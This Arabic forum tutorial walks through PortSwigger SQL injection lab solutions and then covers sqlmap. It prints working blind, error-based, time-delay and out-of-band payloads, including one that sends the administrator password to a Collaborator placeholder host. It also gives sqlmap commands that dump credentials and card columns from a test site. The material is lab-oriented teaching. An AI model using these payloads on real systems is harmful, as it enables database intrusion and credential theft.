






السمعة:
- إنضم17 يونيو 2023
- المشاركات 515
- الحلول 10
- مستوى التفاعل 1,106
- النقاط 93
عشان تقدر تفهم الـ sql بشكل احترافي عزيزي القارئ بدك تفهم كم نقطة
1. تفهم شو يعني الـ sql بتقدر تقرأ هاد المقال

كود:
https://sh3ll.cloud/xf2/threads/1818
2. تفهم شو يعني Database وكيف التيبلز شكلها ومشروحه بالفيديو هون بشكل بسيط وفي شرح بسيط كيف تعمل جداول

كود:
https://youtu.be/-G6im2Uj4Gw?si=RsPetz_FzdsW8S8n[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]https://sh3ll.cloud/xf2/threads/356/
3. تطبق عملي على الـ sql وتعرف تستخدم أدوات جاهزه تفيدك مثل sqlmap موضوعنا اليوم راح يفيدك إن شاء الله وهي رابطه

كود:
https://sh3ll.cloud/xf2/threads/2443/
4. طبعا وأكيد أداة Burp suite اللي بتساعدك بشكل كبير شرحها كامل هون

كود:
https://sh3ll.cloud/xf2/threads/1389[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]https://sh3ll.cloud/xf2/threads/1573
https://sh3ll.cloud/xf2/threads/1729
5. أكيد تفهم أجزاء الـ URL والـ HTTP Methods والـ HTTP Status Codes والـ Headers
كود:
https://sh3ll.cloud/xf2/threads/988/
حل لابات الـ sql inj وعددها الـ 18 Lab
أول 10 لابات مع شرحهن فيديو يوتيوب
ضل 8 لابات

هي حلهن أول اشي وبالآخر شرح الـ sqlmap
Blind SQL injection with conditional responses
في عننا الـ TrackingId لما نخلي الأمر فيه يكون True بعطينا إشارة Welcome back
ولما نعكس الأمر ما بظهر أي شيء
بنستخدم الأمر هاد عشان نحكيله أن ال a = a
بنعدل عليه و بنستخدم LENGTH(password)=1
عشان نعرف حجم الباسورد
بعدها بنعمل بروت فورس يجرب كل القيم من واحد ل 30 مثلاً عشان نعرف حجم الباسورد
يعني حجم الباسورد 20
هون بنعدل الأمر ليصير هيك
هاي عشان يجرب أول حرف من الباسورد إذا كانت a برجع true يعني بعطينا كلمه Welcome back
بعدها بنعمل بنغير SUBSTRING(password,1,1) بنخليها ل SUBSTRING(password,2,1) عشان نجرب للحرف الثاني وهيك
هون بنحدد على مكانين
المكان الأول الـ payload ( يعني يجرب القيم ) من 1 ل 21 رقم
المكان الثاني الـ payload ( يعني يجرب القيم ) كل الأحرف السمول والأرقام من 0 ل 9 بنضيفهم من خلال القائمة تحت اسمها Add From List
بعدها عن طريق كلمه فلتر بنفرزهم حسب الـ Request اللي فيه كلمه Welcome back
وبنفرزهم حسب ال payload بتطلع معنا كلكمه السر من أول بايلود اللي هو أول حرف من الباسورد لآخر بايلود اللي هو آخر حرف بالباسورد
في عننا الـ TrackingId لما نخلي الأمر فيه يكون True بعطينا إشارة Welcome back
ولما نعكس الأمر ما بظهر أي شيء
بنستخدم الأمر هاد عشان نحكيله أن ال a = a
كود:
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
بنعدل عليه و بنستخدم LENGTH(password)=1
عشان نعرف حجم الباسورد
كود:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a
بعدها بنعمل بروت فورس يجرب كل القيم من واحد ل 30 مثلاً عشان نعرف حجم الباسورد
يعني حجم الباسورد 20
هون بنعدل الأمر ليصير هيك
كود:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
هاي عشان يجرب أول حرف من الباسورد إذا كانت a برجع true يعني بعطينا كلمه Welcome back
بعدها بنعمل بنغير SUBSTRING(password,1,1) بنخليها ل SUBSTRING(password,2,1) عشان نجرب للحرف الثاني وهيك
هون بنحدد على مكانين
المكان الأول الـ payload ( يعني يجرب القيم ) من 1 ل 21 رقم
المكان الثاني الـ payload ( يعني يجرب القيم ) كل الأحرف السمول والأرقام من 0 ل 9 بنضيفهم من خلال القائمة تحت اسمها Add From List
بعدها عن طريق كلمه فلتر بنفرزهم حسب الـ Request اللي فيه كلمه Welcome back
وبنفرزهم حسب ال payload بتطلع معنا كلكمه السر من أول بايلود اللي هو أول حرف من الباسورد لآخر بايلود اللي هو آخر حرف بالباسورد
Blind SQL injection with conditional errors
هون إذا جربنا نبعث ' راح يعطينا خطأ ولو جربنا نسكرها يعني نحط ثنتين ' ' راح نلاقي إنه الخطأ راح
بنلاحظ ما صار شيء لأنه خلينا الأمر يعطي فولس
يعني الإدخال هاد اللي تحت معناه إذا كان ترو يعطينا اريور سببه إنه حطينه فنكشن تقسم الرقم واحد على 0 عشان يعطينا اريور
ف بنستخدم العملية هاي عشان نتأكد من اسم المستخدم إذا كان موجود راح يعطينا خطأ ...
بعدها بنجرب الـ LENGTH عشان نعرف حجم الباسورد
بنعمل بروت فورس يجرب هاي القيم من واحد ل 30 مثلًا
بنلاقي إنه الحجم 20
بعدها بنعمل زي ما عملنا باللاب السابق وبنفرزهم تحت حسب وجود كلمه الخطأ أو الايرور اللي بصير عنا بالمتصفح
تكمله الشرح بالصورة:
هون إذا جربنا نبعث ' راح يعطينا خطأ ولو جربنا نسكرها يعني نحط ثنتين ' ' راح نلاقي إنه الخطأ راح
كود:
'||(SELECT CASE WHEN (0=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
يعني الإدخال هاد اللي تحت معناه إذا كان ترو يعطينا اريور سببه إنه حطينه فنكشن تقسم الرقم واحد على 0 عشان يعطينا اريور
كود:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
ف بنستخدم العملية هاي عشان نتأكد من اسم المستخدم إذا كان موجود راح يعطينا خطأ ...
كود:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
بعدها بنجرب الـ LENGTH عشان نعرف حجم الباسورد
كود:
'||(SELECT CASE WHEN LENGTH(password)=1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
بنعمل بروت فورس يجرب هاي القيم من واحد ل 30 مثلًا
بنلاقي إنه الحجم 20
كود:
'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
بعدها بنعمل زي ما عملنا باللاب السابق وبنفرزهم تحت حسب وجود كلمه الخطأ أو الايرور اللي بصير عنا بالمتصفح
تكمله الشرح بالصورة:
Visible error-based SQL injection
بنستخدم الأمر هاد لإنه هون بقبل بس قيمة int
بحكيلنا لازم يكون الأمر AND بولين يعني الناتج 1 أو 0 بنضيف إشارة 1 =
هيك فش أخطاء
هسا بس بنغير الإدخال جوا select بنخليه يرجعلنا أسماء ال users
خطأ بسبب حجم الحروف بنمحي ال TrackingId اللي موجود بنخلي بس الأمر تاعنا
بظهر خطأ جديد إنه أعاد أكثر من سطر
فعن طريق الأمر التالي بنحددله كم سطر يرجع
هيك رجعلنا الاسم
هسا بس بنعدل الـ username لـ password وبرجعلنا الباسورد
بنستخدم الأمر هاد لإنه هون بقبل بس قيمة int
كود:
' AND CAST((SELECT 1) AS int)--
بحكيلنا لازم يكون الأمر AND بولين يعني الناتج 1 أو 0 بنضيف إشارة 1 =
كود:
' AND 1=CAST((SELECT 1) AS int)--
هيك فش أخطاء
هسا بس بنغير الإدخال جوا select بنخليه يرجعلنا أسماء ال users
كود:
' AND 1=CAST((SELECT username FROM users) AS int)--
خطأ بسبب حجم الحروف بنمحي ال TrackingId اللي موجود بنخلي بس الأمر تاعنا
بظهر خطأ جديد إنه أعاد أكثر من سطر
فعن طريق الأمر التالي بنحددله كم سطر يرجع
هيك رجعلنا الاسم
هسا بس بنعدل الـ username لـ password وبرجعلنا الباسورد
Blind SQL injection with time delays
زي ما شرحنا بالفيديو بنستخدم || عشان ندمج أكثر من تنفيذ بنفس المكان يعني لو بدنا نستخدم ال union من شروطها
زي ما شرحنا بالفيديو بنستخدم || عشان ندمج أكثر من تنفيذ بنفس المكان يعني لو بدنا نستخدم ال union من شروطها
القواعد لاستخدام الـ UNION
1. لازم يرجع نفس عدد الأعمدة في كل استعلام SELECT
2. الأعمدة لازم تكون من نفس نوع البيانات
3. ترتيب الأعمدة لازم يكون نفسه في كل استعلام
وحكينا بالفيديو لو كان برجع استعلام واحد قبل بنحتاج نستخدم || عشان نرجع أكثر من كولوم بنفس الاستعلام
شرحت عنها بالدقيقه هاي
كود:
https://youtu.be/-G6im2Uj4Gw?si=RZkv1RODxN_yTrw9&t=1209
فالأمر اللي عننا بنفذ اللي موجود بالـ TrackingId وبتنفذ الأمر sleep
Blind SQL injection with time delays and information retrieval
أول شيء بنجرب إدخال
معناه
1=1 دائماً ترو
عشان هيك راح يتنفذ أول أمر احنا بنحطه اللي هو pg_sleep(10)
بس لما نيجي بدنا نجربه بنعمله url enc
بصير هيك
بنلاحظ إنه عمل sleep لـ عشر ثواني
بنجرب نخلي الأمر يعطي فولس عشان ينفذ الأمر الثاني
[/CODE]
بنلاحظ إنه عمل sleep لـ ثانية
بعدها بنجهز الأمر هاد عشان نعمل هجوم يجرب كل القيم الممكنه عشان نعرف حجم الباسورد
بنلاحظ إنه في واحد عمل sleep يعني هو الحجم الصحيح للباسورد
ألا وهو الرقم 20
وزي ما عملنا قبل بنستخدم الإدخال هاد عشان نعمل هجوم نعرف الباسورد عن طريقه
هيك يعني اللي بعمل سليب وبتأخر بالنتيجة هو الحرف الصحيح بالمكان الصحيح حسب البايلود الأول
بنجرب واحد واحد
لا ننسى نزيد
(password,1,1) هاي للحرف للأول
(password,2,1) هاي للحرف الثاني
(password,3,1) هاي للحرف الثالث
.
.
.
وهيك
هيك عننا o
وبنكمل زي ما بالفيديو
أول شيء بنجرب إدخال
كود:
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(1) END--
معناه
1=1 دائماً ترو
عشان هيك راح يتنفذ أول أمر احنا بنحطه اللي هو pg_sleep(10)
بس لما نيجي بدنا نجربه بنعمله url enc
بصير هيك
كود:
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--
بنلاحظ إنه عمل sleep لـ عشر ثواني
بنجرب نخلي الأمر يعطي فولس عشان ينفذ الأمر الثاني
كود:
[CODE]'%3BSELECT+CASE+WHEN+(1=0)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--
[/CODE]
بنلاحظ إنه عمل sleep لـ ثانية
بعدها بنجهز الأمر هاد عشان نعمل هجوم يجرب كل القيم الممكنه عشان نعرف حجم الباسورد
كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
بنلاحظ إنه في واحد عمل sleep يعني هو الحجم الصحيح للباسورد
ألا وهو الرقم 20
وزي ما عملنا قبل بنستخدم الإدخال هاد عشان نعمل هجوم نعرف الباسورد عن طريقه
كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
هيك يعني اللي بعمل سليب وبتأخر بالنتيجة هو الحرف الصحيح بالمكان الصحيح حسب البايلود الأول
بنجرب واحد واحد
لا ننسى نزيد
(password,1,1) هاي للحرف للأول
(password,2,1) هاي للحرف الثاني
(password,3,1) هاي للحرف الثالث
.
.
.
وهيك
هيك عننا o
وبنكمل زي ما بالفيديو
Blind SQL injection with out-of-band interaction
بدي أشرح اشي قبل ما أحل التحدي اللي هي الـ Collaborator
النقطة السادسة
بدي أشرح اشي قبل ما أحل التحدي اللي هي الـ Collaborator
النقطة السادسة
الـ "Burp Suite Professional" هو إصدار مطور من الـ "Burp Suite Community"، بتجيلك بمميزات زي:
ماسح آلي للاستفادة من الثغرات في المواقع. أداة تسمى "fuzzer/brute-forcer" بتختبر الصفحات بشكل سريع بدون قيود. بتقدر تحفظ المشاريع اللي شغال عليها عشان ترجع لهم بوقت لاحق أو تعمل تقارير عنهم. فيه API مدمج تقدر تستخدمه لربط البرنامج مع أدوات ثانية. ممكن تضيف امتدادات جديدة لزيادة وظائف البرنامج. وفيه ميزة اسمها "Burp Suite Collaborator" بتقدر تستخدمها لمراقبة طلبات الخادم والاستجابات.
بكل بساطه هو خدمة بتمكنك تكتشف الثغرات الغير المرئية
يعني الثغرات اللي :
- ما بتسبب رسائل خطأ: لن يظهر أي رسالة خطأ تشير إلى وجود مشكلة.
- ما بتسبب اختلافات بمخرجات التطبيق: لا تغير في مخرجات التطبيق التي يمكن ملاحظتها.
- ما بتسبب تأخيرات زمنية قابلة للاكتشاف: لا تؤدي إلى تأخيرات ملحوظة في استجابة التطبيق.
طيب كيف بتشتغل
الـ Burp بتبعث Payload تابعه للـ Collaborator بـ Request
الـ payload عبارة عن subdomain للـ Collaborator
الـ Burp بعمل زي ما نحكي Monitor بشوف إذا في تفاعل من الخادم زي ما بالصورة اللي فوق
عشان نحل التحدي بنستخدم الأمر هاد بس بنبدل القيمه هاي BURP-COLLABORATOR-SUBDOMAIN
كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]
طبعًا الأمر هاد بنطلعه من الـ cheat sheet الخاصه بالـ sql من موقع portswigger

SQL injection cheat sheet | Web Security Academy
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...
بالقيمه اللي بننسخها من هون
بعد ما نرسل الريكويست
بنلاقي إنه ظهر عنا
وهيك نحل التحدي
Blind SQL injection with out-of-band data exfiltration
هاد التحدي نفس اللي فوق بس بدنا نطلع data وبرضو بنلاقيه على موقع الـ cheat sheet الخاصه بالـ sql من موقع portswigger
portswigger.net
بنستخدم الأمر هاد وبنعدل القيمه BURP-COLLABORATOR-SUBDOMAIN زي قبل شوي تمامًا بس بنستخدم الأمر هاد عشان نرجع الباسورد الخاصه باليوزر اللي اسمه Administrator
هاد التحدي نفس اللي فوق بس بدنا نطلع data وبرضو بنلاقيه على موقع الـ cheat sheet الخاصه بالـ sql من موقع portswigger

SQL injection cheat sheet | Web Security Academy
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...
بنستخدم الأمر هاد وبنعدل القيمه BURP-COLLABORATOR-SUBDOMAIN زي قبل شوي تمامًا بس بنستخدم الأمر هاد عشان نرجع الباسورد الخاصه باليوزر اللي اسمه Administrator
كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]
وهيك بنطلع الباسورد لأنه احنا كاتبين بالأمر إنه يطبعه قبل الـ BURP-COLLABORATOR-SUBDOMAIN بنقطه dministrator')||'.BURP-COLLAB
حل الاب بالعربي
SQL injection with filter bypass via XML encoding
بنعمل Check stock وبنبعث الطلب للـ Repeater
بحاول نغير بقيمه الـ storeId زي مثلًا نجرب نحط 1 UNION SELECT NULL
بعطينا
بنبحث على الـ Extensions على هاي الإضافة اللي بتسمحلنا نعمل أشياء كثير عن طريقها بنحاول نعمل obfuscating للبايلود
بعدها بنحدد على النص
وبنعملها obfuscating عن طريق الخطوات هاي
لما نجرب نرسل الطلب بنلاقي إنه ما اكتشف إني بعمل اتتاك
بعدها بنرجع اليوزرز والباسورد
بنعمل Check stock وبنبعث الطلب للـ Repeater
بحاول نغير بقيمه الـ storeId زي مثلًا نجرب نحط 1 UNION SELECT NULL
بعطينا
بنبحث على الـ Extensions على هاي الإضافة اللي بتسمحلنا نعمل أشياء كثير عن طريقها بنحاول نعمل obfuscating للبايلود
بعدها بنحدد على النص
وبنعملها obfuscating عن طريق الخطوات هاي
لما نجرب نرسل الطلب بنلاقي إنه ما اكتشف إني بعمل اتتاك
بعدها بنرجع اليوزرز والباسورد
شرح أداة sqlmap
أهم الأوامر الأساسية التي تحتاجها لاستغلال أي موقع باستخدام أداة sqlmap :
أهم الأوامر الأساسية التي تحتاجها لاستغلال أي موقع باستخدام أداة sqlmap :
الأوامر | الشرح |
---|---|
u URL, --url=URL- | تحديد عنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1") |
dbs-- | اختبار واستخراج قواعد البيانات |
D DBNAME --tables- | استخراج جداول قاعدة بيانات معينة |
D DBNAME -T TABLENAME --columns- | استخراج أعمدة جدول معين |
D DBNAME -T TABLENAME -C COLUMN --dump- | استخراج بيانات أعمدة معينة |
1. مثال عملي على موقع عادي
بنشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" --dbs[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname --tables[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
بنستخرج الأعمدة من جدول معين :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename --columns[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename -C columnname --dump[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
2. مثال عملي على موقع تسجيل دخول
حقن استعلام SQL في حقل username عشان نشوف إذا فيه ثغره sql
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --batch --current-db[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]
إذا تم اكتشاف ثغرة بنكمل عشان نشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --dbs[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]
بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb --tables[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]
بنستخرج الأعمدة من جدول معين :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users --columns[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users -C "id,username,password" --dump[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
3. نجرب على موقع حقيقي
بنستخدم الأمر هاد عشان نشوف شو هي قواعد البيانات المتاحة
كود:
python .\sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
بظهرلنا هون نتائج الفحص والأمر اللي استخدمته عشان أعرف شو هي أسماء الداتابيز
بعدها بنستخرج أسماء الجداول عن طريق اسم الداتابيز باستخدام الأمر هاد
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables
بعدها بنستخرج البيانات من جدول معين مثلًا ال users
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
بنستخرج البيانات من العامود ال name وال pass وال cc مثلاً
عن طريق الأمر
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -C name,pass,cc --dump
جدول أوامر الأداة
الفئة | الأوامر | الشرح |
---|---|---|
عام | -h, --help | عرض رسالة المساعدة الأساسية والخروج |
-hh | عرض رسالة المساعدة المتقدمة والخروج | |
--version | عرض رقم إصدار البرنامج والخروج | |
-v VERBOSE | مستوى التفاصيل: من 0-6 (الافتراضي 1) | |
الهدف | -u URL, --url=URL | عنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1") |
-d DIRECT | سلسلة الاتصال لاتصال مباشر بقاعدة البيانات | |
-l LOGFILE | تحليل الهدف من ملف سجل وكيل Burp أو WebScarab | |
-m BULKFILE | فحص أهداف متعددة من ملف نصي | |
-r REQUESTFILE | تحميل طلب HTTP من ملف | |
-g GOOGLEDORK | معالجة نتائج بحث Google Dork كعناوين أهداف | |
-c CONFIGFILE | تحميل الخيارات من ملف تكوين INI | |
الطلب | -A AGENT, --user-agent=AGENT | قيمة رأس HTTP User-Agent |
-H HEADER, --header=HEADER | رأس إضافي (مثال: "X-Forwarded-For: 127.0.0.1") | |
--method=METHOD | فرض استخدام طريقة HTTP معينة (مثال: PUT) | |
--data=DATA | سلسلة البيانات المرسلة عبر POST (مثال: "id=1") | |
--param-del=PARAMDEL | حرف لفصل قيم المعلمات (مثال: &) | |
--cookie=COOKIE | قيمة رأس HTTP Cookie (مثال: "PHPSESSID=a8d127e..") | |
--cookie-del=COOKIEDEL | حرف لفصل قيم الكوكيز (مثال: ![]() | |
--live-cookies=LIVECOOKIES | ملف الكوكيز لاستخدام القيم المحدثة | |
--load-cookies=LOADCOOKIES | ملف يحتوي على كوكيز بصيغة Netscape/wget | |
--drop-set-cookie | تجاهل رأس Set-Cookie من الاستجابة | |
--mobile | محاكاة الهاتف الذكي عبر رأس HTTP User-Agent | |
--random-agent | استخدام قيمة عشوائية لرأس HTTP User-Agent | |
--host=HOST | قيمة رأس HTTP Host | |
--referer=REFERER | قيمة رأس HTTP Referer | |
--headers=HEADERS | رؤوس إضافية (مثال: "Accept-Language: fr\nETag: 123") | |
--auth-type=AUTHTYPE | نوع مصادقة HTTP (Basic, Digest, Bearer, ...) | |
--auth-cred=AUTHCRED | بيانات اعتماد مصادقة HTTP (name ) | |
--auth-file=AUTHFILE | ملف مصادقة HTTP بشهادة PEM/مفتاح خاص | |
--abort-code=ABORTCODE | إيقاف على كود خطأ HTTP معين (مثال: 401) | |
--ignore-code=IGNORECODE | تجاهل كود خطأ HTTP معين (مثال: 401) | |
--ignore-proxy | تجاهل إعدادات الوكيل الافتراضية للنظام | |
--ignore-redirects | تجاهل محاولات إعادة التوجيه | |
--ignore-timeouts | تجاهل وقت انتهاء الاتصال | |
--proxy=PROXY | استخدام وكيل للاتصال بالهدف | |
--proxy-cred=PROXYCRED | بيانات اعتماد الوكيل (name ) | |
--proxy-file=PROXYFILE | تحميل قائمة وكلاء من ملف | |
--proxy-freq=PROXYFREQ | عدد الطلبات بين تغيير الوكيل من القائمة | |
--tor | استخدام شبكة تور للخصوصية | |
--tor-port=TORPORT | تعيين منفذ وكيل تور غير الافتراضي | |
--tor-type=TORTYPE | تعيين نوع وكيل تور (HTTP, SOCKS4, SOCKS5) | |
--check-tor | التحقق من استخدام تور بشكل صحيح | |
--delay=DELAY | تأخير بالثواني بين كل طلب HTTP | |
--timeout=TIMEOUT | ثواني الانتظار قبل انتهاء مهلة الاتصال (الافتراضي 30) | |
--retries=RETRIES | عدد المحاولات عند انتهاء مهلة الاتصال (الافتراضي 3) | |
--retry-on=RETRYON | إعادة المحاولة عند مطابقة تعبير عادي معين | |
--randomize=RPARAM | تغيير عشوائي لقيمة معلمة معينة | |
--safe-url=SAFEURL | عنوان URL آمن للزيارة بشكل متكرر أثناء الاختبار | |
--safe-post=SAFEPOST | بيانات POST لإرسالها إلى عنوان URL آمن | |
--safe-req=SAFEREQ | تحميل طلب HTTP آمن من ملف | |
--safe-freq=SAFEFREQ | عدد الطلبات العادية بين زيارات العنوان الآمن | |
--skip-urlencode | تخطي ترميز URL لبيانات الحمولة | |
--csrf-token=CSRFTOKEN | معلمة لحمل رمز مكافحة CSRF | |
--csrf-url=CSRFURL | عنوان URL لزيارة لاستخراج رمز مكافحة CSRF | |
--csrf-method=CSRFMETHOD | طريقة HTTP لاستخدامها أثناء زيارة صفحة رمز مكافحة CSRF | |
--csrf-data=CSRFData | بيانات POST لإرسالها أثناء زيارة صفحة رمز مكافحة CSRF | |
--csrf-retries=CSRFRETRIES | عدد المحاولات لاستخراج رمز مكافحة CSRF (الافتراضي 0) | |
--force-ssl | فرض استخدام SSL/HTTPS | |
--chunked | استخدام طلبات HTTP chunked transfer encoded (POST) | |
--hpp | استخدام طريقة تلوث معلمات HTTP | |
--eval=EVALCODE | تقييم كود Python المقدم قبل الطلب (مثال: "import hashlib;id2=hashlib.md5(id).hexdigest()") | |
التحسين | -o | تشغيل كل مفاتيح التحسين |
--predict-output | التنبؤ بمخرجات الاستعلامات الشائعة | |
--keep-alive | استخدام اتصالات HTTP(s) المستمرة | |
--null-connection | استرجاع طول الصفحة بدون جسم استجابة HTTP الفعلي | |
--threads=THREADS | عدد الحد الأقصى من طلبات HTTP(s) المتزامنة (الافتراضي 1) | |
الحقن | -p TESTPARAMETER | معلمة قابلة للاختبار |
--skip=SKIP | تخطي اختبار معلمة معينة | |
--skip-static | تخطي اختبار المعلمات الساكنة | |
--param-exclude=PEXCLUDE | استبعاد المعلمات التي تتطابق مع تعبير عادي معين | |
--dbms=DBMS | فرض استهداف قاعدة بيانات معينة | |
--dbms-cred=DBMSCRED | بيانات اعتماد قاعدة البيانات لتخطي الاستغلال (user ) | |
--os=OS | فرض استهداف نظام تشغيل معين | |
--invalid-bignum | استخدام أعداد صحيحة كبيرة غير صالحة للاختبار | |
--invalid-logical | استخدام تعبيرات منطقية غير صالحة للاختبار | |
--invalid-string | استخدام سلاسل غير صالحة للاختبار | |
--no-cast | تجاهل استخدام النوع أثناء الحقن الاحتيالي | |
--no-escape | تجاهل استخدام الرموز الهروب أثناء الحقن | |
--prefix=PREFIX | سلسلة لحقنها قبل كل حمولة أثناء الحقن | |
--suffix=SUFFIX | سلسلة لحقنها بعد كل حمولة أثناء الحقن | |
--tamper=TAMPER | استخدام برامج التشويش الخاصة بالحقل (مثال: "between,randomcase") | |
الفحص | -level=LEVEL | مستوى الشدة من 1-5 (الافتراضي 1) |
--risk=RISK | مستوى المخاطرة من 1-3 (الافتراضي 1) | |
--string=STRING | سلسلة لاكتشاف استجابة الحقن الناجحة | |
--not-string=NOTSTRING | سلسلة لاكتشاف استجابة الحقن غير الناجحة | |
--regexp=REGEXP | تعبير عادي لاكتشاف استجابة الحقن الناجحة | |
--code=CODE | كود حالة HTTP لاكتشاف استجابة الحقن الناجحة | |
--smart | إجراء اختبار حقن ذكي | |
--text-only | مقارنة الاختلافات في المحتوى فقط | |
--titles | مقارنة الاختلافات في عنوان HTML فقط | |
تحصيل المعلومات | -a, --all | استرجاع كل المعلومات |
-b, --banner | استرجاع شعار قاعدة البيانات | |
--current-user | استرجاع المستخدم الحالي لقاعدة البيانات | |
--current-db | استرجاع قاعدة البيانات الحالية | |
--hostname | استرجاع اسم المضيف | |
--is-dba | التحقق مما إذا كان المستخدم الحالي لديه امتيازات DBA | |
--users | استرجاع أسماء مستخدمي قاعدة البيانات | |
--passwords | استرجاع كلمات مرور مستخدمي قاعدة البيانات | |
--privileges | استرجاع امتيازات مستخدمي قاعدة البيانات | |
--roles | استرجاع أدوار مستخدمي قاعدة البيانات | |
--dbs | استرجاع قواعد البيانات المتاحة | |
--tables | استرجاع جداول قاعدة البيانات | |
--columns | استرجاع أعمدة الجداول | |
--schema | استرجاع مخطط قاعدة البيانات بالكامل | |
--count | استرجاع عدد المدخلات في الجداول | |
--dump | تفريغ بيانات الجدول | |
--dump-all | تفريغ كل بيانات قاعدة البيانات | |
--search | البحث عن أسماء الأعمدة | |
--comments | استرجاع تعليقات قاعدة البيانات | |
-D DB | قاعدة البيانات لعملية الاسترجاع | |
-T TBL | الجدول لعملية الاسترجاع | |
-C COL | العمود لعملية الاسترجاع | |
--exclude-sysdbs | استبعاد قواعد البيانات النظامية | |
--pivot-column=PIVOTCOLUMN | العمود المحوري | |
--where=DUMPWHERE | جملة شرطية لاسترجاع البيانات | |
--start=LIMITSTART | قيمة البدء لتفريغ الجدول | |
--stop=LIMITSTOP | قيمة الإيقاف لتفريغ الجدول | |
--first=FIRSTCHAR | موضع الحرف الأول للتفريغ | |
--last=LASTCHAR | موضع الحرف الأخير للتفريغ | |
--sql-query=SQLQUERY | استرجاع نتيجة استعلام SQL المخصص | |
--sql-shell | إسقاط إلى واجهة سطر الأوامر لقاعدة البيانات | |
--sql-file=SQLFILE | قراءة استعلامات SQL لتنفيذها من ملف خارجي | |
الاستغلال | --os-cmd=OSCMD | تنفيذ أمر نظام التشغيل |
--os-shell | إسقاط إلى واجهة سطر الأوامر لنظام التشغيل | |
--os-pwn | استخدام Metasploit لحصول على اتصال عكسي | |
--os-smbrelay | إجراء هجوم SMB relay | |
--os-bof | تنفيذ هجوم buffer overflow | |
--priv-esc | محاولة ترقية الامتيازات | |
--msf-path=MSFPATH | مسار Metasploit Framework | |
--tmp-path=TMPPATH | مسار دليل التخزين المؤقت لنظام التشغيل الهدف | |
أدوات | --reg-read | قراءة قيمة السجل |
